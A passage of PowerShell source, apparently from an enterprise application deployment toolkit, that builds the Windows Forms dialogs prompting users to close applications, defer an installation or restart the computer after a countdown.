${CmdletName} Stop-Process -Name 'NSD' -Force -ErrorAction 'SilentlyContinue' } } } If ($notesPathExes) { [array]$processesIgnoringNotesExceptions = Compare-Object -ReferenceObject ($processObjects | Select-Object -ExpandProperty 'ProcessName' | Sort-Object) -DifferenceObject $notesPathExes -IncludeEqual | Where-Object { ($_.SideIndicator -eq '<=') -or ($_.InputObject -eq 'notes') } | Select-Object -ExpandProperty 'InputObject' [array]$processObjects = $processObjects | Where-Object { $processesIgnoringNotesExceptions -contains $_.ProcessName } } } If ($BlockExecution) { Set-Variable -Name 'BlockExecution' -Value $BlockExecution -Scope 'Script' Write-Log -Message '[-BlockExecution] parameter specified.' -Source ${CmdletName} Block-AppExecution -ProcessName ($processObjects | Select-Object -ExpandProperty 'ProcessName') } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Show-WelcomePrompt { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [string]$ProcessDescriptions, [Parameter(Mandatory=$false)] [int32]$CloseAppsCountdown, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ForceCloseAppsCountdown, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$PersistPrompt = $false, [Parameter(Mandatory=$false)] [switch]$AllowDefer = $false, [Parameter(Mandatory=$false)] [string]$DeferTimes, [Parameter(Mandatory=$false)] [string]$DeferDeadline, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$MinimizeWindows = $true, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$TopMost = $true, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$ForceCountdown = 0, [Parameter(Mandatory=$false)] [switch]$CustomText = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { [boolean]$showCloseApps = $false [boolean]$showDefer = $false [boolean]$persistWindow = $false [datetime]$startTime = Get-Date [datetime]$countdownTime = $startTime If ($CloseAppsCountdown) { If ($CloseAppsCountdown -gt $configInstallationUITimeout) { Throw 'The close applications countdown time cannot be longer than the timeout specified in the XML configuration for installation UI dialogs to timeout.' } } If ($processDescriptions) { Write-Log -Message "Prompt user to close application(s) [$processDescriptions]..." -Source ${CmdletName} $showCloseApps = $true } If (($allowDefer) -and (($deferTimes -ge 0) -or ($deferDeadline))) { Write-Log -Message 'User has the option to defer.' -Source ${CmdletName} $showDefer = $true If ($deferDeadline) { $deferDeadline = $deferDeadline -replace 'Z','' [string]$deferDeadline = (Get-Date -Date $deferDeadline).ToString() } } If (-not $showDefer) { If ($closeAppsCountdown -gt 0) { Write-Log -Message "Close applications countdown has [$closeAppsCountdown] seconds remaining." -Source ${CmdletName} $showCountdown = $true } } If ($showDefer) { If ($persistPrompt) { $persistWindow = $true } } If ($forceCloseAppsCountdown -eq $true) { Write-Log -Message "Close applications countdown has [$closeAppsCountdown] seconds remaining." -Source ${CmdletName} $showCountdown = $true } If ($forceCountdown -eq $true) { Write-Log -Message "Countdown has [$closeAppsCountdown] seconds remaining." -Source ${CmdletName} $showCountdown = $true } [string[]]$processDescriptions = $processDescriptions -split ',' [Windows.Forms.Application]::EnableVisualStyles() $formWelcome = New-Object -TypeName 'System.Windows.Forms.Form' $pictureBanner = New-Object -TypeName 'System.Windows.Forms.PictureBox' $labelAppName = New-Object -TypeName 'System.Windows.Forms.Label' $labelCountdown = New-Object -TypeName 'System.Windows.Forms.Label' $labelDefer = New-Object -TypeName 'System.Windows.Forms.Label' $listBoxCloseApps = New-Object -TypeName 'System.Windows.Forms.ListBox' $buttonContinue = New-Object -TypeName 'System.Windows.Forms.Button' $buttonDefer = New-Object -TypeName 'System.Windows.Forms.Button' $buttonCloseApps = New-Object -TypeName 'System.Windows.Forms.Button' $buttonAbort = New-Object -TypeName 'System.Windows.Forms.Button' $formWelcomeWindowState = New-Object -TypeName 'System.Windows.Forms.FormWindowState' $flowLayoutPanel = New-Object -TypeName 'System.Windows.Forms.FlowLayoutPanel' $panelButtons = New-Object -TypeName 'System.Windows.Forms.Panel' $toolTip = New-Object -TypeName 'System.Windows.Forms.ToolTip' [scriptblock]$Form_Cleanup_FormClosed = { Try { $labelAppName.remove_Click($handler_labelAppName_Click) $labelDefer.remove_Click($handler_labelDefer_Click) $buttonCloseApps.remove_Click($buttonCloseApps_OnClick) $buttonContinue.remove_Click($buttonContinue_OnClick) $buttonDefer.remove_Click($buttonDefer_OnClick) $buttonAbort.remove_Click($buttonAbort_OnClick) $script:welcomeTimer.remove_Tick($timer_Tick) $timerPersist.remove_Tick($timerPersist_Tick) $timerRunningProcesses.remove_Tick($timerRunningProcesses_Tick) $formWelcome.remove_Load($Form_StateCorrection_Load) $formWelcome.remove_FormClosed($Form_Cleanup_FormClosed) } Catch { } } [scriptblock]$Form_StateCorrection_Load = { $formWelcome.WindowState = 'Normal' $formWelcome.AutoSize = $true $formWelcome.TopMost = $TopMost $formWelcome.BringToFront() Set-Variable -Name 'formWelcomeStartPosition' -Value $formWelcome.Location -Scope 'Script' [datetime]$currentTime = Get-Date [datetime]$countdownTime = $startTime.AddSeconds($CloseAppsCountdown) $script:welcomeTimer.Start() [timespan]$remainingTime = $countdownTime.Subtract($currentTime) [string]$labelCountdownSeconds = [string]::Format('{0}:{1:d2}:{2:d2}', $remainingTime.Days * 24 + $remainingTime.Hours, $remainingTime.Minutes, $remainingTime.Seconds) If ($forceCountdown -eq $true) { If ($deploymentType -ieq 'Install') { $labelCountdown.Text = ($configWelcomePromptCountdownMessage -f $($configDeploymentTypeInstall.ToLower())) + "`n$labelCountdownSeconds" } Else { $labelCountdown.Text = ($configWelcomePromptCountdownMessage -f $($configDeploymentTypeUninstall.ToLower())) + "`n$labelCountdownSeconds" } } Else { $labelCountdown.Text = "$configClosePromptCountdownMessage`n$labelCountdownSeconds" } } If (-not ($script:welcomeTimer)) { $script:welcomeTimer = New-Object -TypeName 'System.Windows.Forms.Timer' } If ($showCountdown) { [scriptblock]$timer_Tick = { [datetime]$currentTime = Get-Date [datetime]$countdownTime = $startTime.AddSeconds($CloseAppsCountdown) [timespan]$remainingTime = $countdownTime.Subtract($currentTime) Set-Variable -Name 'closeAppsCountdownGlobal' -Value $remainingTime.TotalSeconds -Scope 'Script' If ($countdownTime -lt $currentTime) { If ($forceCountdown -eq $true) { Write-Log -Message 'Countdown timer has elapsed. Force continue.' -Source ${CmdletName} $buttonContinue.PerformClick() } Else { Write-Log -Message 'Close application(s) countdown timer has elapsed. Force closing application(s).' -Source ${CmdletName} If ($buttonCloseApps.CanFocus) { $buttonCloseApps.PerformClick() } Else { $buttonContinue.PerformClick() } } } Else { [string]$labelCountdownSeconds = [string]::Format('{0}:{1:d2}:{2:d2}', $remainingTime.Days * 24 + $remainingTime.Hours, $remainingTime.Minutes, $remainingTime.Seconds) If ($forceCountdown -eq $true) { If ($deploymentType -ieq 'Install') { $labelCountdown.Text = ($configWelcomePromptCountdownMessage -f $configDeploymentTypeInstall) + "`n$labelCountdownSeconds" } Else { $labelCountdown.Text = ($configWelcomePromptCountdownMessage -f $configDeploymentTypeUninstall) + "`n$labelCountdownSeconds" } } Else { $labelCountdown.Text = "$configClosePromptCountdownMessage`n$labelCountdownSeconds" } [Windows.Forms.Application]::DoEvents() } } } Else { $script:welcomeTimer.Interval = ($configInstallationUITimeout * 1000) [scriptblock]$timer_Tick = { $buttonAbort.PerformClick() } } $script:welcomeTimer.add_Tick($timer_Tick) If ($persistWindow) { $timerPersist = New-Object -TypeName 'System.Windows.Forms.Timer' $timerPersist.Interval = ($configInstallationPersistInterval * 1000) [scriptblock]$timerPersist_Tick = { Update-InstallationWelcome } $timerPersist.add_Tick($timerPersist_Tick) $timerPersist.Start() } If ($configInstallationWelcomePromptDynamicRunningProcessEvaluation) { $timerRunningProcesses = New-Object -TypeName 'System.Windows.Forms.Timer' $timerRunningProcesses.Interval = ($configInstallationWelcomePromptDynamicRunningProcessEvaluationInterval * 1000) [scriptblock]$timerRunningProcesses_Tick = { try { Get-RunningProcessesDynamically } catch {} } $timerRunningProcesses.add_Tick($timerRunningProcesses_Tick) $timerRunningProcesses.Start() } $formWelcome.Controls.Add($pictureBanner) $formWelcome.Controls.Add($buttonAbort) $paddingNone = New-Object -TypeName 'System.Windows.Forms.Padding' $paddingNone.Top = 0 $paddingNone.Bottom = 0 $paddingNone.Left = 0 $paddingNone.Right = 0 $buttonWidth = 110 $buttonHeight = 23 $buttonPadding = 50 $buttonSize = New-Object -TypeName 'System.Drawing.Size' $buttonSize.Width = $buttonWidth $buttonSize.Height = $buttonHeight $buttonPadding = New-Object -TypeName 'System.Windows.Forms.Padding' $buttonPadding.Top = 0 $buttonPadding.Bottom = 5 $buttonPadding.Left = 50 $buttonPadding.Right = 0 $pictureBanner.DataBindings.DefaultDataSourceUpdateMode = 0 $pictureBanner.ImageLocation = $appDeployLogoBanner $System_Drawing_Point = New-Object -TypeName 'System.Drawing.Point' $System_Drawing_Point.X = 0 $System_Drawing_Point.Y = 0 $pictureBanner.Location = $System_Drawing_Point $pictureBanner.Name = 'pictureBanner' $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = $appDeployLogoBannerHeight $System_Drawing_Size.Width = 450 $pictureBanner.Size = $System_Drawing_Size $pictureBanner.SizeMode = 'CenterImage' $pictureBanner.Margin = $paddingNone $pictureBanner.TabIndex = 0 $pictureBanner.TabStop = $false $labelAppName.DataBindings.DefaultDataSourceUpdateMode = 0 $labelAppName.Name = 'labelAppName' $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' If (-not $showCloseApps) { $System_Drawing_Size.Height = 40 } Else { $System_Drawing_Size.Height = 65 } $System_Drawing_Size.Width = 450 $labelAppName.Size = $System_Drawing_Size $System_Drawing_Size.Height = 0 $labelAppName.MaximumSize = $System_Drawing_Size $labelAppName.Margin = '0,15,0,15' $labelAppName.Padding = '20,0,20,0' $labelAppName.TabIndex = 1 If ($showCloseApps) { $labelAppNameText = $configClosePromptMessage } ElseIf (($showDefer) -or ($forceCountdown)) { $labelAppNameText = "$configDeferPromptWelcomeMessage `n$installTitle" } If ($CustomText) { $labelAppNameText = "$labelAppNameText `n`n$configWelcomePromptCustomMessage" } $labelAppName.Text = $labelAppNameText $labelAppName.TextAlign = 'TopCenter' $labelAppName.Anchor = 'Top' $labelAppName.AutoSize = $true $labelAppName.add_Click($handler_labelAppName_Click) $listBoxCloseApps.DataBindings.DefaultDataSourceUpdateMode = 0 $listBoxCloseApps.FormattingEnabled = $true $listBoxCloseApps.HorizontalScrollbar = $true $listBoxCloseApps.Name = 'listBoxCloseApps' $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = 100 $System_Drawing_Size.Width = 300 $listBoxCloseApps.Size = $System_Drawing_Size $listBoxCloseApps.Margin = '75,0,0,0' $listBoxCloseApps.TabIndex = 3 $ProcessDescriptions | ForEach-Object { $null = $listboxCloseApps.Items.Add($_) } $labelDefer.DataBindings.DefaultDataSourceUpdateMode = 0 $labelDefer.Name = 'labelDefer' $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = 90 $System_Drawing_Size.Width = 450 $labelDefer.Size = $System_Drawing_Size $System_Drawing_Size.Height = 0 $labelDefer.MaximumSize = $System_Drawing_Size $labelDefer.Margin = $paddingNone $labelDefer.Padding = '40,0,20,0' $labelDefer.TabIndex = 4 $deferralText = "$configDeferPromptExpiryMessage`n" If ($deferTimes -ge 0) { $deferralText = "$deferralText `n$configDeferPromptRemainingDeferrals $([int32]$deferTimes + 1)" } If ($deferDeadline) { $deferralText = "$deferralText `n$configDeferPromptDeadline $deferDeadline" } If (($deferTimes -lt 0) -and (-not $DeferDeadline)) { $deferralText = "$deferralText `n$configDeferPromptNoDeadline" } $deferralText = "$deferralText `n`n$configDeferPromptWarningMessage" $labelDefer.Text = $deferralText $labelDefer.TextAlign = 'MiddleCenter' $labelDefer.AutoSize = $true $labelDefer.add_Click($handler_labelDefer_Click) $labelCountdown.DataBindings.DefaultDataSourceUpdateMode = 0 $labelCountdown.Name = 'labelCountdown' $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = 40 $System_Drawing_Size.Width = 450 $labelCountdown.Size = $System_Drawing_Size $System_Drawing_Size.Height = 0 $labelCountdown.MaximumSize = $System_Drawing_Size $labelCountdown.Margin = $paddingNone $labelCountdown.Padding = '40,0,20,0' $labelCountdown.TabIndex = 4 $labelCountdown.Font = 'Microsoft Sans Serif, 9pt, style=Bold' $labelCountdown.Text = '00:00:00' $labelCountdown.TextAlign = 'MiddleCenter' $labelCountdown.AutoSize = $true $labelCountdown.add_Click($handler_labelDefer_Click) $System_Drawing_Point = New-Object -TypeName 'System.Drawing.Point' $System_Drawing_Point.X = 0 $System_Drawing_Point.Y = $appDeployLogoBannerHeight $flowLayoutPanel.Location = $System_Drawing_Point $flowLayoutPanel.AutoSize = $true $flowLayoutPanel.Anchor = 'Top' $flowLayoutPanel.FlowDirection = 'TopDown' $flowLayoutPanel.WrapContents = $true $flowLayoutPanel.Controls.Add($labelAppName) If ($showCloseApps) { $flowLayoutPanel.Controls.Add($listBoxCloseApps) } If ($showDefer) { $flowLayoutPanel.Controls.Add($labelDefer) } If ($showCountdown) { $flowLayoutPanel.Controls.Add($labelCountdown) } $buttonCloseApps.DataBindings.DefaultDataSourceUpdateMode = 0 $buttonCloseApps.Location = '15,0' $buttonCloseApps.Name = 'buttonCloseApps' $buttonCloseApps.Size = $buttonSize $buttonCloseApps.TabIndex = 5 $buttonCloseApps.Text = $configClosePromptButtonClose $buttonCloseApps.DialogResult = 'Yes' $buttonCloseApps.AutoSize = $true $buttonCloseApps.UseVisualStyleBackColor = $true $buttonCloseApps.add_Click($buttonCloseApps_OnClick) $buttonDefer.DataBindings.DefaultDataSourceUpdateMode = 0 If (-not $showCloseApps) { $buttonDefer.Location = '15,0' } Else { $buttonDefer.Location = '170,0' } $buttonDefer.Name = 'buttonDefer' $buttonDefer.Size = $buttonSize $buttonDefer.TabIndex = 6 $buttonDefer.Text = $configClosePromptButtonDefer $buttonDefer.DialogResult = 'No' $buttonDefer.AutoSize = $true $buttonDefer.UseVisualStyleBackColor = $true $buttonDefer.add_Click($buttonDefer_OnClick) $buttonContinue.DataBindings.DefaultDataSourceUpdateMode = 0 $buttonContinue.Location = '325,0' $buttonContinue.Name = 'buttonContinue' $buttonContinue.Size = $buttonSize $buttonContinue.TabIndex = 7 $buttonContinue.Text = $configClosePromptButtonContinue $buttonContinue.DialogResult = 'OK' $buttonContinue.AutoSize = $true $buttonContinue.UseVisualStyleBackColor = $true $buttonContinue.add_Click($buttonContinue_OnClick) If ($showCloseApps) { $toolTip.BackColor = [Drawing.Color]::LightGoldenrodYellow $toolTip.IsBalloon = $false $toolTip.InitialDelay = 100 $toolTip.ReshowDelay = 100 $toolTip.SetToolTip($buttonContinue, $configClosePromptButtonContinueTooltip) } $buttonAbort.DataBindings.DefaultDataSourceUpdateMode = 0 $buttonAbort.Name = 'buttonAbort' $buttonAbort.Size = '1,1' $buttonAbort.TabStop = $false $buttonAbort.DialogResult = 'Abort' $buttonAbort.TabIndex = 5 $buttonAbort.UseVisualStyleBackColor = $true $buttonAbort.add_Click($buttonAbort_OnClick) $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = 0 $System_Drawing_Size.Width = 0 $formWelcome.Size = $System_Drawing_Size $formWelcome.Padding = $paddingNone $formWelcome.Margin = $paddingNone $formWelcome.DataBindings.DefaultDataSourceUpdateMode = 0 $formWelcome.Name = 'WelcomeForm' $formWelcome.Text = $installTitle $formWelcome.StartPosition = 'CenterScreen' $formWelcome.FormBorderStyle = 'FixedDialog' $formWelcome.MaximizeBox = $false $formWelcome.MinimizeBox = $false $formWelcome.TopMost = $TopMost $formWelcome.TopLevel = $true $formWelcome.Icon = New-Object -TypeName 'System.Drawing.Icon' -ArgumentList $AppDeployLogoIcon $formWelcome.AutoSize = $true $formWelcome.Controls.Add($pictureBanner) $formWelcome.Controls.Add($flowLayoutPanel) $System_Drawing_Point = New-Object -TypeName 'System.Drawing.Point' $System_Drawing_Point.X = 0 $System_Drawing_Point.Y = (($formWelcome.Size | Select-Object -ExpandProperty 'Height') - 10) $panelButtons.Location = $System_Drawing_Point $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = 40 $System_Drawing_Size.Width = 450 $panelButtons.Size = $System_Drawing_Size $panelButtons.AutoSize = $true $panelButtons.Anchor = 'Top' $padding = New-Object -TypeName 'System.Windows.Forms.Padding' $padding.Top = 0 $padding.Bottom = 0 $padding.Left = 0 $padding.Right = 0 $panelButtons.Margin = $padding If ($showCloseApps) { $panelButtons.Controls.Add($buttonCloseApps) } If ($showDefer) { $panelButtons.Controls.Add($buttonDefer) } $panelButtons.Controls.Add($buttonContinue) $formWelcome.Controls.Add($panelButtons) $formWelcomeWindowState = $formWelcome.WindowState $formWelcome.add_Load($Form_StateCorrection_Load) $formWelcome.add_FormClosed($Form_Cleanup_FormClosed) Function Update-InstallationWelcome { $formWelcome.BringToFront() $formWelcome.Location = "$($formWelcomeStartPosition.X),$($formWelcomeStartPosition.Y)" $formWelcome.Refresh() } Function Get-RunningProcessesDynamically { $dynamicRunningProcesses = $null Get-RunningProcesses -ProcessObjects $processObjects -DisableLogging -OutVariable 'dynamicRunningProcesses' [string]$dynamicRunningProcessDescriptions = ($dynamicRunningProcesses | Where-Object { $_.ProcessDescription } | Select-Object -ExpandProperty 'ProcessDescription' | Select-Object -Unique | Sort-Object) -join ',' If ($dynamicRunningProcessDescriptions -ne $script:runningProcessDescriptions) { Set-Variable -Name 'runningProcessDescriptions' -Value $dynamicRunningProcessDescriptions -Force -Scope 'Script' If ($dynamicrunningProcesses) { Write-Log -Message "The running processes have changed. Updating the apps to close: [$script:runningProcessDescriptions]..." -Source ${CmdletName} } $listboxCloseApps.Items.Clear() $script:runningProcessDescriptions -split "," | ForEach-Object { $null = $listboxCloseApps.Items.Add($_) } } If ($ProcessDescriptions) { If (-not ($dynamicRunningProcesses)) { Write-Log -Message 'Previously detected running processes are no longer running.' -Source ${CmdletName} $formWelcome.Dispose() } } ElseIf (-not $ProcessDescriptions) { If ($dynamicRunningProcesses) { Write-Log -Message 'New running processes detected. Updating the form to prompt to close the running applications.' -Source ${CmdletName} $formWelcome.Dispose() } } } If ($minimizeWindows) { $null = $shellApp.MinimizeAll() } $result = $formWelcome.ShowDialog() $formWelcome.Dispose() Switch ($result) { OK { $result = 'Continue' } No { $result = 'Defer' } Yes { $result = 'Close' } Abort { $result = 'Timeout' } } If ($configInstallationWelcomePromptDynamicRunningProcessEvaluation){ $timerRunningProcesses.Stop() } Write-Output -InputObject $result } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Show-InstallationRestartPrompt { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$CountdownSeconds = 60, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$CountdownNoHideSeconds = 30, [Parameter(Mandatory=$false)] [switch]$NoCountdown = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($deployModeSilent) { Write-Log -Message "Bypass Installation Restart Prompt [Mode: $deployMode]." -Source ${CmdletName} Return } [hashtable]$installRestartPromptParameters = $psBoundParameters If (Get-Process | Where-Object { $_.MainWindowTitle -match $configRestartPromptTitle }) { Write-Log -Message "${CmdletName} was invoked, but an existing restart prompt was detected. Cancelling restart prompt." -Severity 2 -Source ${CmdletName} Return } [datetime]$startTime = Get-Date [datetime]$countdownTime = $startTime [Windows.Forms.Application]::EnableVisualStyles() $formRestart = New-Object -TypeName 'System.Windows.Forms.Form' $labelCountdown = New-Object -TypeName 'System.Windows.Forms.Label' $labelTimeRemaining = New-Object -TypeName 'System.Windows.Forms.Label' $labelMessage = New-Object -TypeName 'System.Windows.Forms.Label' $buttonRestartLater = New-Object -TypeName 'System.Windows.Forms.Button' $picturebox = New-Object -TypeName 'System.Windows.Forms.PictureBox' $buttonRestartNow = New-Object -TypeName 'System.Windows.Forms.Button' $timerCountdown = New-Object -TypeName 'System.Windows.Forms.Timer' $InitialFormWindowState = New-Object -TypeName 'System.Windows.Forms.FormWindowState' [scriptblock]$RestartComputer = { Write-Log -Message 'Force restart the computer...' -Source ${CmdletName} Restart-Computer -Force } [scriptblock]$FormEvent_Load = { [datetime]$currentTime = Get-Date [datetime]$countdownTime = $startTime.AddSeconds($countdownSeconds) $timerCountdown.Start() [timespan]$remainingTime = $countdownTime.Subtract($currentTime) $labelCountdown.Text = [string]::Format('{0}:{1:d2}:{2:d2}', $remainingTime.Days * 24 + $remainingTime.Hours, $remainingTime.Minutes, $remainingTime.Seconds) If ($remainingTime.TotalSeconds -le $countdownNoHideSeconds) { $buttonRestartLater.Enabled = $false } $formRestart.WindowState = 'Normal' $formRestart.TopMost = $true $formRestart.BringToFront() } [scriptblock]$Form_StateCorrection_Load = { $formRestart.WindowState = $InitialFormWindowState $formRestart.AutoSize = $true $formRestart.TopMost = $true $formRestart.BringToFront() Set-Variable -Name 'formInstallationRestartPromptStartPosition' -Value $formRestart.Location -Scope 'Script' } If ($NoCountdown) { $timerPersist = New-Object -TypeName 'System.Windows.Forms.Timer' $timerPersist.Interval = ($configInstallationRestartPersistInterval * 1000) [scriptblock]$timerPersist_Tick = { $formRestart.WindowState = 'Normal' $formRestart.TopMost = $true $formRestart.BringToFront() $formRestart.Location = "$($formInstallationRestartPromptStartPosition.X),$($formInstallationRestartPromptStartPosition.Y)" $formRestart.Refresh() [Windows.Forms.Application]::DoEvents() } $timerPersist.add_Tick($timerPersist_Tick) $timerPersist.Start() } [scriptblock]$buttonRestartLater_Click = { $formRestart.WindowState = 'Minimized' If ($NoCountdown) { $timerPersist.Stop() $timerPersist.Start() } } [scriptblock]$buttonRestartNow_Click = { & $RestartComputer } [scriptblock]$formRestart_Resize = { If ($formRestart.WindowState -eq 'Minimized') { $formRestart.WindowState = 'Minimized' } } [scriptblock]$timerCountdown_Tick = { [datetime]$currentTime = Get-Date [datetime]$countdownTime = $startTime.AddSeconds($countdownSeconds) [timespan]$remainingTime = $countdownTime.Subtract($currentTime) If ($countdownTime -lt $currentTime) { $buttonRestartNow.PerformClick() } Else { $labelCountdown.Text = [string]::Format('{0}:{1:d2}:{2:d2}', $remainingTime.Days * 24 + $remainingTime.Hours, $remainingTime.Minutes, $remainingTime.Seconds) If ($remainingTime.TotalSeconds -le $countdownNoHideSeconds) { $buttonRestartLater.Enabled = $false If ($formRestart.WindowState -eq 'Minimized') { $formRestart.WindowState = 'Normal' $formRestart.TopMost = $true $formRestart.BringToFront() $formRestart.Location = "$($formInstallationRestartPromptStartPosition.X),$($formInstallationRestartPromptStartPosition.Y)" $formRestart.Refresh() [Windows.Forms.Application]::DoEvents() } } [Windows.Forms.Application]::DoEvents() } } [scriptblock]$Form_Cleanup_FormClosed = { Try { $buttonRestartLater.remove_Click($buttonRestartLater_Click) $buttonRestartNow.remove_Click($buttonRestartNow_Click) $formRestart.remove_Load($FormEvent_Load) $formRestart.remove_Resize($formRestart_Resize) $timerCountdown.remove_Tick($timerCountdown_Tick) $timerPersist.remove_Tick($timerPersist_Tick) $formRestart.remove_Load($Form_StateCorrection_Load) $formRestart.remove_FormClosed($Form_Cleanup_FormClosed) } Catch { } } If (-not $NoCountdown) { $formRestart.Controls.Add($labelCountdown) $formRestart.Controls.Add($labelTimeRemaining) } $formRestart.Controls.Add($labelMessage) $formRestart.Controls.Add($buttonRestartLater) $formRestart.Controls.Add($picturebox) $formRestart.Controls.Add($buttonRestartNow) $clientSizeY = 260 + $appDeployLogoBannerHeightDifference $formRestart.ClientSize = "450,$clientSizeY" $formRestart.ControlBox = $false $formRestart.FormBorderStyle = 'FixedDialog' $formRestart.Icon = New-Object -TypeName 'System.Drawing.Icon' -ArgumentList $AppDeployLogoIcon $formRestart.MaximizeBox = $false $formRestart.MinimizeBox = $false $formRestart.Name = 'formRestart' $formRestart.StartPosition = 'CenterScreen' $formRestart.Text = "$($configRestartPromptTitle): $installTitle" $formRestart.add_Load($FormEvent_Load) $formRestart.add_Resize($formRestart_Resize) $picturebox.Anchor = 'Top' $picturebox.Image = [Drawing.Image]::Fromfile($AppDeployLogoBanner) $picturebox.Location = '0,0' $picturebox.Name = 'picturebox' $pictureboxSizeY = $appDeployLogoBannerHeight $picturebox.Size = "450,$pictureboxSizeY" $picturebox.SizeMode = 'CenterImage' $picturebox.TabIndex = 1 $picturebox.TabStop = $false $labelMessageLocationY = 58 + $appDeployLogoBannerHeightDifference $labelMessage.Location = "20,$labelMessageLocationY" $labelMessage.Name = 'labelMessage' $labelMessage.Size = '400,79' $labelMessage.TabIndex = 3 $labelMessage.Text = "$configRestartPromptMessage $configRestartPromptMessageTime `n`n$configRestartPromptMessageRestart" If ($NoCountdown) { $labelMessage.Text = $configRestartPromptMessage } $labelMessage.TextAlign = 'MiddleCenter' $labelTimeRemainingLocationY = 138 + $appDeployLogoBannerHeightDifference $labelTimeRemaining.Location = "20,$labelTimeRemainingLocationY" $labelTimeRemaining.Name = 'labelTimeRemaining' $labelTimeRemaining.Size = '400,23' $labelTimeRemaining.TabIndex = 4 $labelTimeRemaining.Text = $configRestartPromptTimeRemaining $labelTimeRemaining.TextAlign = 'MiddleCenter' $labelCountdown.Font = 'Microsoft Sans Serif, 18pt, style=Bold' $labelCountdownLocationY = 165 + $appDeployLogoBannerHeightDifference $labelCountdown.Location = "20,$labelCountdownLocationY" $labelCountdown.Name = 'labelCountdown' $labelCountdown.Size = '400,30' $labelCountdown.TabIndex = 5 $labelCountdown.Text = '00:00:00' $labelCountdown.TextAlign = 'MiddleCenter' $buttonsLocationY = 216 + $appDeployLogoBannerHeightDifference $buttonRestartLater.Anchor = 'Bottom,Left' $buttonRestartLater.Location = "20,$buttonsLocationY" $buttonRestartLater.Name = 'buttonRestartLater' $buttonRestartLater.Size = '159,23' $buttonRestartLater.TabIndex = 0 $buttonRestartLater.Text = $configRestartPromptButtonRestartLater $buttonRestartLater.UseVisualStyleBackColor = $true $buttonRestartLater.add_Click($buttonRestartLater_Click) $buttonRestartNow.Anchor = 'Bottom,Right' $buttonRestartNow.Location = "265,$buttonsLocationY" $buttonRestartNow.Name = 'buttonRestartNow' $buttonRestartNow.Size = '159,23' $buttonRestartNow.TabIndex = 2 $buttonRestartNow.Text = $configRestartPromptButtonRestartNow $buttonRestartNow.UseVisualStyleBackColor = $true $buttonRestartNow.add_Click($buttonRestartNow_Click) If (-not $NoCountdown) { $timerCountdown.add_Tick($timerCountdown_Tick) } $InitialFormWindowState = $formRestart.WindowState $formRestart.add_Load($Form_StateCorrection_Load) $formRestart.add_FormClosed($Form_Cleanup_FormClosed) $formRestartClosing = [Windows.Forms.FormClosingEventHandler]{ If ($_.CloseReason -eq 'UserClosing') { $_.Cancel = $true } } $formRestart.add_FormClosing($formRestartClosing) If ($deployAppScriptFriendlyName) { If ($NoCountdown) { Write-Log -Message "Invoking ${CmdletName} asynchronously with no countdown..." -Source ${CmdletName} } Else { Write-Log -Message "Invoking ${CmdletName} asynchronously with a [$countDownSeconds] second countdown..." -Source ${CmdletName} } [string]$installRestartPromptParameters = ($installRestartPromptParameters.GetEnumerator() | ForEach-Object { If ($_.Value.GetType().Name -eq 'SwitchParameter') { "-$($_.Key)" } ElseIf ($_.Value.GetType().Name -eq 'Boolean') { "-$($_.Key) `$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Int32') { "-$($_.Key) $($_.Value)" } Else { "-$($_.Key) `"$($_.Value)`"" } }) -join ' ' Start-Process -FilePath "$PSHOME\powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Hidden -File `"$scriptPath`" -ReferredInstallTitle `"$installTitle`" -ReferredInstallName `"$installName`" -ReferredLogName `"$logName`" -ShowInstallationRestartPrompt $installRestartPromptParameters -AsyncToolkitLaunch" -WindowStyle 'Hidden' -ErrorAction 'SilentlyContinue' } Else { If ($NoCountdown) { Write-Log -Message 'Display restart prompt with no countdown.' -Source ${CmdletName} } Else { Write-Log -Message "Display restart prompt with a [$countDownSeconds] second countdown." -Source ${CmdletName} } Write-Output -InputObject $formRestart.ShowDialog() $formRestart.Dispose() [Diagnostics.Process]$powershellProcess = Get-Process | Where-Object { $_.MainWindowTitle -match $installTitle } [Microsoft.VisualBasic.Interaction]::AppActivate($powershellProcess.ID) } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Show-BalloonTip { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,Position=0)] [ValidateNotNullOrEmpty()] [string]$BalloonTipText, [Parameter(Mandatory=$false,Position=1)] [ValidateNotNullorEmpty()] [string]$BalloonTipTitle = $installTitle, [Parameter(Mandatory=$false,Position=2)] [ValidateSet('Error','Info','None','Warning')] [Windows.Forms.ToolTipIcon]$BalloonTipIcon = 'Info', [Parameter(Mandatory=$false,Position=3)] [ValidateNotNullorEmpty()] [int32]$BalloonTipTime = 10000 ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If (($deployModeSilent) -or (-not $configShowBalloonNotifications) -or 